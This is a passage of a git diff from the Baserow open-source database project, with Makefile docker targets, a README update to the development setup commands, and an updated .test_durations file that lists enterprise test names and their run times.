web-frontend/Dockerfile . -t baserow_web-frontend - -docker-allinone-build: DOCKER_CONFIG_FILES=$(DOCKER_ALL_IN_ONE_CONF) -docker-allinone-build: .docker-build-standalone-images .docker-build - -docker-allinone-start: DOCKER_CONFIG_FILES=$(DOCKER_ALL_IN_ONE_CONF) -docker-allinone-start: docker-allinone-build .docker-start - -docker-allinone-stop: DOCKER_CONFIG_FILES=$(DOCKER_ALL_IN_ONE_CONF) -docker-allinone-stop: .docker-stop - -docker-allinone-restart: docker-allinone-stop docker-allinone-start - -docker-allinone-shell: - $(DOCKERC) $(DOCKER_ALL_IN_ONE_CONF) exec baserow_all_in_one bash - -docker-allinone-attach: - $(DOCKERC) $(DOCKER_ALL_IN_ONE_CONF) attach baserow_all_in_one - -docker-allinone-logs: - $(DOCKERC) $(DOCKER_ALL_IN_ONE_CONF) logs -tf baserow_all_in_one - -docker-backend-shell: - $(DOCKERC) $(DOCKER_SPLIT_CONF) exec backend bash - -docker-backend-attach: - $(DOCKERC) $(DOCKER_SPLIT_CONF) attach backend - -docker-backend-logs: - $(DOCKERC) $(DOCKER_SPLIT_CONF) logs -tf backend - -docker-frontend-shell: - $(DOCKERC) $(DOCKER_SPLIT_CONF) exec web-frontend bash - -docker-frontend-attach: - $(DOCKERC) $(DOCKER_SPLIT_CONF) attach web-frontend - -docker-frontend-logs: - $(DOCKERC) $(DOCKER_SPLIT_CONF) logs -tf web-frontend - -docker-db-logs: - $(DOCKERC) $(DOCKER_SPLIT_CONF) logs -tf db - -docker-db-shell: - $(DOCKERC) $(DOCKER_SPLIT_CONF) exec db bash - -clean: SUBCMD=clean -clean: .subcmd docker-clean - -clean-all: SUBCMD=clean-all -clean-all: .subcmd docker-clean - -deps: SUBCMD=deps -deps: .subcmd - -deps-upgrade: SUBCMD=deps-upgrade -deps-upgrade: .subcmd - -docker-status: .env - $(DOCKERC) $(DOCKER_SPLIT_CONF) ps diff --git a/README.md b/README.md index 463a0b6b1d..538ba97ad0 100644 --- a/README.md +++ b/README.md @@ -81,10 +81,12 @@ https://api.baserow.io/api/schema.json. If you want to contribute to Baserow you can setup a development environment like so: -``` -$ git clone https://github.com/baserow/baserow.git -$ cd baserow -$ ./dev.sh --build +```bash +git clone https://github.com/baserow/baserow.git +cd baserow + +just dc-dev build --parallel +just dc-dev up -d ``` The Baserow development environment is now running. @@ -92,9 +94,7 @@ Visit [http://localhost:3000](http://localhost:3000) in your browser to see a wo version in development mode with hot code reloading and other dev features enabled. More detailed instructions and more information about the development environment can be -found -at [https://baserow.io/docs/development/development-environment](./docs/development/development-environment.md) -. +found at [https://baserow.io/docs/development/development-environment](./docs/development/development-environment.md). ## Why Baserow? diff --git a/backend/.test_durations b/backend/.test_durations index d707a270d5..c3144317e7 100644 --- a/backend/.test_durations +++ b/backend/.test_durations @@ -1,499 +1,976 @@ { - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_create_saml_provider_with_an_enterprise_license": 0.3019938329998695, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_delete_saml_provider_with_an_enterprise_license": 0.2820729160002884, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_get_saml_provider_with_an_enterprise_license": 0.274312417001056, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_list_saml_provider_with_an_enterprise_license": 0.28141037600016716, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_update_saml_provider_with_an_enterprise_license": 0.29357133400026214, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_create_password_provider": 0.14325558300060948, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_create_saml_provider_without_an_enterprise_license": 0.14495483299924672, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_delete_last_provider": 0.14140758200028358, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_delete_password_provider": 0.14183808400048292, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_delete_saml_provider_without_an_enterprise_license": 0.1404565429993454, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_disable_last_provider": 0.1471367090007334, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_get_saml_provider_without_an_enterprise_license": 0.14241070800017042, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_list_saml_provider_without_an_enterprise_license": 0.15642079200006265, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_update_saml_provider_without_an_enterprise_license": 0.1426115819995175, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[facebook-extra_params1]": 0.15120204200138687, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[github-extra_params2]": 0.1521514580008443, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[gitlab-extra_params3]": 0.1634304589997555, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[google-extra_params0]": 0.15330895900024188, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[openid_connect-extra_params4]": 0.40941258300063055, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[facebook-required_params1]": 0.14485095899999578, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[github-required_params2]": 0.1434542490005697, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[gitlab-required_params3]": 0.14294537499972648, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[google-required_params0]": 0.15110966799966263, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[openid_connect-required_params4]": 0.1457739160005076, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[facebook-extra_params1]": 0.14708299900030397, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[github-extra_params2]": 0.14427387399973668, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[gitlab-extra_params3]": 0.14517533399975946, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[google-extra_params0]": 0.15035370900022826, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[openid_connect-extra_params4]": 0.37699350099956064, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth_provider_invalid_url[gitlab]": 0.1644900419996702, - "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth_provider_invalid_url[openid_connect]": 0.14994675100206223, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_admins_cannot_access_audit_log_endpoints_without_an_enterprise_license[get-action_types]": 0.13830737399985082, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_admins_cannot_access_audit_log_endpoints_without_an_enterprise_license[get-list]": 0.1425664179996602, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_admins_cannot_access_audit_log_endpoints_without_an_enterprise_license[get-users]": 0.139138458999696, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_admins_cannot_access_audit_log_endpoints_without_an_enterprise_license[post-async_export]": 0.14586162500017963, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_action_type_filter_returns_action_types_correctly": 0.1518067089991746, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_action_types_are_translated_in_the_admin_language": 0.15085375099988596, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_can_export_to_csv_all_entries": 0.2790251669985082, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_can_export_to_csv_filtered_entries": 0.2774927510008638, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_are_created_even_without_a_license": 0.17742250000083004, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_are_created_from_actions_and_returned_in_order": 0.33982045900120283, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_are_translated_in_the_user_language": 0.1852540410009169, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_can_be_filtered": 0.3325669999994716, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_return_400_for_invalid_values": 0.1419575829995665, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_user_filter_returns_users_correctly": 0.27186270899983356, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_workspace_filter_returns_workspaces_correctly": 0.15251220899972395, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_log_entries_still_work_correctly_if_the_action_type_is_removed": 0.2987781680012631, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_access_audit_log_endpoints[action_types]": 0.16376633300023968, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_access_audit_log_endpoints[list]": 0.14880387500033976, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_access_audit_log_endpoints[users]": 0.160890374999326, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_access_audit_log_endpoints[workspaces]": 0.14777116600089357, - "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_export_audit_log_to_csv": 0.14317858399954275, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_non_admins_cannot_access_workspace_audit_log_endpoints[action_types]": 0.39715754199914954, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_non_admins_cannot_access_workspace_audit_log_endpoints[list]": 0.3901980000000549, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_non_admins_cannot_access_workspace_audit_log_endpoints[users]": 0.3930190000019138, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_non_admins_cannot_export_workspace_audit_log_to_csv": 0.38747562500066124, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_any_workspace[action_types]": 0.2705685419996371, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_any_workspace[list]": 0.2712095839997346, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_any_workspace[users]": 0.2723890850002135, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_their_own_workspace[action_types]": 0.14237416699961614, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_their_own_workspace[list]": 0.14579337499981193, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_their_own_workspace[users]": 0.14119925100021646, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_cant_access_audit_log_for_own_workspace_without_license[action_types]": 0.14248550000047544, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_cant_access_audit_log_for_own_workspace_without_license[list]": 0.14570254099999147, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_cant_access_audit_log_for_own_workspace_without_license[users]": 0.13976970899966545, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_admins_cannot_access_workspace_audit_log_endpoints_without_an_enterprise_license[action_types]": 0.14238754300004075, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_admins_cannot_access_workspace_audit_log_endpoints_without_an_enterprise_license[list]": 0.14228633400125545, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_admins_cannot_access_workspace_audit_log_endpoints_without_an_enterprise_license[users]": 0.1455901260005703, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_admins_cannot_export_workspace_audit_log_without_an_enterprise_license": 0.14079920899985154, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_can_export_to_csv_filtered_entries": 0.2933693750001112, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_endpoints_raise_404_if_workspace_doesnt_exist[action_types]": 0.14699908399961714, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_endpoints_raise_404_if_workspace_doesnt_exist[list]": 0.14338683400001173, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_endpoints_raise_404_if_workspace_doesnt_exist[users]": 0.14420870799949626, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_export_raise_404_if_workspace_doesnt_exist": 0.1416158340007314, - "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_user_filter_returns_only_workspace_users": 0.42374091600049724, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builder_can_make_public_personal_view": 0.673315293000087, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[ADMIN-collaborative-personal-200]": 0.4549459179997939, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[ADMIN-personal-collaborative-200]": 0.4816586249999091, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[BUILDER-collaborative-personal-200]": 0.45863133299826586, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[BUILDER-personal-collaborative-200]": 0.5140201670001261, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[EDITOR-collaborative-personal-401]": 0.46775333400364616, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[EDITOR-personal-collaborative-401]": 0.4430577920011274, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_list_views_doesnt_include_personal_views_the_user_used_to_have": 0.6005519579994143, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_personal_views_created_by_builder_can_be_shared_publicly": 0.47180029200080753, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_personal_views_created_by_editor_cant_be_shared_publicly": 0.46120841700030724, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_personal_views_shared_by_builder_stops_working_if_builder_looses_table_access": 0.4593830829999206, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_create_filter_on_their_own_personal_view": 0.44972566700016614, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_create_filters_and_filter_groups_in_personal_views[BUILDER-collaborative-200]": 0.48984541700156115, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_create_filters_and_filter_groups_in_personal_views[EDITOR-collaborative-401]": 0.4651071669995872, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_create_filters_and_filter_groups_in_personal_views[VIEWER-personal-200]": 0.4732657079994169, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_make_personal_view": 0.4562661250001838, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_cant_create_filter_on_someone_elses_personal_view": 0.5770744159999595, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_cant_make_collab_view": 0.44900333499936096, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_cant_make_public_personal_view": 0.4495851240017146, - "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_cant_submit_their_own_personal_form_view": 0.45208166700012953, - "baserow_enterprise_tests/api/role/test_role_views.py::test_assign_last_admin_the_admin_role_works": 0.40329970799939474, - "baserow_enterprise_tests/api/role/test_role_views.py::test_batch_assign_role": 0.670932459001051, - "baserow_enterprise_tests/api/role/test_role_views.py::test_batch_assign_role_duplicates": 0.5346001249990877, - "baserow_enterprise_tests/api/role/test_role_views.py::test_batch_assign_role_is_undoable": 0.6869800419990497, - "baserow_enterprise_tests/api/role/test_role_views.py::test_create_role_assignment": 0.5897657510004137, - "baserow_enterprise_tests/api/role/test_role_views.py::test_create_role_assignment_invalid_requests": 0.6809720419996665, - "baserow_enterprise_tests/api/role/test_role_views.py::test_get_role_assignments_application_level": 0.5378028330005691, - "baserow_enterprise_tests/api/role/test_role_views.py::test_get_role_assignments_table_level": 0.5437460439998176, - "baserow_enterprise_tests/api/role/test_role_views.py::test_get_role_assignments_workspace_level": 0.54066658299962, - "baserow_enterprise_tests/api/role/test_role_views.py::test_list_roles_endpoint_returns_expected_data[roles0]": 0.2981113340010779, - "baserow_enterprise_tests/api/role/test_role_views.py::test_list_roles_endpoint_returns_expected_data[roles1]": 0.2932511250010066, - "baserow_enterprise_tests/api/role/test_role_views.py::test_list_roles_endpoint_returns_expected_data[roles2]": 0.28912908300026174, - "baserow_enterprise_tests/api/role/test_views_filtered_by_roles.py::test_get_database_application_with_tables_filtered_by_roles": 0.5353691260006599, - "baserow_enterprise_tests/api/role/test_views_filtered_by_roles.py::test_list_applications_filtered_by_roles": 0.5139036259970453, - "baserow_enterprise_tests/api/role/test_views_filtered_by_roles.py::test_list_tables_filtered_by_roles": 0.2819778329994733, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_audit_log_can_export_to_csv_and_be_served_by_the_backend": 0.27367420900009165, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_audit_log_can_export_to_csv_and_be_served_by_the_backend_with_workspace_access": 0.5369164579997232, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_deactivate_user_prevents_file_download": 0.28189345900136686, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_exporting_csv_writes_file_to_storage_and_its_served_by_the_backend": 0.1741379170007349, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_exporting_csv_writes_file_to_storage_and_its_served_by_the_backend_with_workspace_access": 0.31713412400040397, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_are_served_by_base_file_storage_by_default": 0.14451679200010403, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_can_be_downloaded_by_the_backend_with_valid_license": 0.1452061659992978, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_can_be_downloaded_with_dl_query_param_as_filename": 0.14888683299886907, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_can_be_served_by_the_backend": 0.14272679100122332, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_urls_can_expire": 0.20144958200125984, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_urls_can_expire_also_for_authenticated_users": 0.3566187919996082, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_urls_must_be_valid": 0.14696333299889375, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_only_authenticated_users_can_download_files": 0.287282667000909, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_secure_file_serve_requires_license_to_download_files": 0.14159575099984067, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_sign_out_prevents_file_download": 0.28422245799902157, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_staff_user_can_download_file_without_workspace": 0.1449077910001506, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_staff_user_cannot_download_file_outside_own_workspace": 0.27537966600084474, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_user_must_have_access_to_workspace_to_download_file": 0.2845094589993096, - "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_user_with_wrong_workspace_cannot_download_file": 0.27355462499872374, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_feature_not_active": 0.11994854099884833, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_login_auth_flow_error": 0.25999024999964604, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_login_deactivated_user": 0.25203275100011524, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_login_different_provider": 0.2533144169992738, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_login_success": 0.25446229099907214, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_provider_doesnt_exist": 0.12039670899957855, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_disabled": 0.12399620799988043, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_set_language": 0.12672700000075565, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_success": 0.12874891800038313, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_workspace_invitation": 0.27196229199944355, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_workspace_invitation_email_mismatch": 0.26314587599972583, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_login_feature_not_active": 0.12574483400021563, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_login_provider_doesnt_exist": 0.12403666800128121, - "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_login_with_url_param": 0.1219818760000635, - "baserow_enterprise_tests/api/sso/test_saml_views.py::test_saml_assertion_consumer_service": 0.6423837510001249, - "baserow_enterprise_tests/api/sso/test_saml_views.py::test_saml_provider_get_login_url": 0.2859038340002371, - "baserow_enterprise_tests/api/sso/test_saml_views.py::test_user_can_initiate_saml_sso_with_enterprise_license": 0.025542790998770215, - "baserow_enterprise_tests/api/sso/test_saml_views.py::test_user_cannot_initiate_saml_sso_without_enterprise_license": 0.0117381669997485, - "baserow_enterprise_tests/api/sso/test_sso_login_options.py::test_saml_available_with_an_enterprise_license": 0.15772108300006948, - "baserow_enterprise_tests/api/sso/test_sso_login_options.py::test_saml_not_available_without_an_enterprise_license": 0.016967001000011805, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_create_saml_provider_with_an_enterprise_license": 0.20967433199984953, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_delete_saml_provider_with_an_enterprise_license": 0.18382516500423662, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_get_saml_provider_with_an_enterprise_license": 0.1759072919958271, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_list_saml_provider_with_an_enterprise_license": 0.17435233399737626, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_can_update_saml_provider_with_an_enterprise_license": 0.21330375000252388, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_create_password_provider": 0.09542579296976328, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_create_saml_provider_without_an_enterprise_license": 0.09271583400550298, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_delete_last_provider": 0.09729479101952165, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_delete_password_provider": 0.0977502089808695, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_delete_saml_provider_without_an_enterprise_license": 0.09443899901816621, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_disable_last_provider": 0.10519429197302088, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_get_saml_provider_without_an_enterprise_license": 0.09330495801987126, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_list_saml_provider_without_an_enterprise_license": 0.1277680819912348, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_admin_cannot_update_saml_provider_without_an_enterprise_license": 0.09184608201030642, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[facebook-extra_params1]": 0.11143029102822766, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[github-extra_params2]": 0.11153049903805368, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[gitlab-extra_params3]": 0.10419858299428597, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[google-extra_params0]": 0.1105195420095697, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_and_get_oauth2_provider[openid_connect-extra_params4]": 0.4219752079807222, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[facebook-required_params1]": 0.09601191597175784, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[github-required_params2]": 0.09195249897311442, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[gitlab-required_params3]": 0.09621999901719391, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[google-required_params0]": 0.11640970999724232, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_create_oauth2_provider_required_fields[openid_connect-required_params4]": 0.09681200102204457, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[facebook-extra_params1]": 0.11407491602585651, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[github-extra_params2]": 0.12661654100520536, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[gitlab-extra_params3]": 0.10518254098133184, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[google-extra_params0]": 0.1078261679795105, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth2_provider[openid_connect-extra_params4]": 0.37553249998018146, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth_provider_invalid_url[gitlab]": 0.14264391601318493, + "baserow_enterprise_tests/api/admin/auth_provider/test_admin_auth_provider_views.py::test_update_oauth_provider_invalid_url[openid_connect]": 0.10199554104474373, + "baserow_enterprise_tests/api/admin/users/test_admin_users_views.py::test_admin_users_endpoint_contains_highest_role": 0.11209554196102545, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cancel_message_requires_auth": 0.10014004100230522, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cancel_message_requires_workspace_access": 0.1673701250110753, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cancel_message_sets_redis_flag": 0.10537587400176562, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cannot_get_messages_from_another_users_chat": 0.1678294590092264, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cannot_get_messages_without_valid_chat": 0.09709454298717901, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cannot_list_assistant_chats_without_valid_workspace": 0.10214829299366102, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cannot_send_message_without_valid_workspace": 0.10050733500975184, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cannot_submit_feedback_for_another_users_message": 0.17104579097940587, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cannot_submit_feedback_for_message_without_prediction": 0.10051171001396142, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_cannot_submit_feedback_for_nonexistent_message": 0.09134450001874939, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_get_messages_includes_can_submit_feedback_field": 0.1255272089911159, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_get_messages_includes_human_sentiment_when_feedback_exists": 0.12232554095680825, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_get_messages_returns_chat_history": 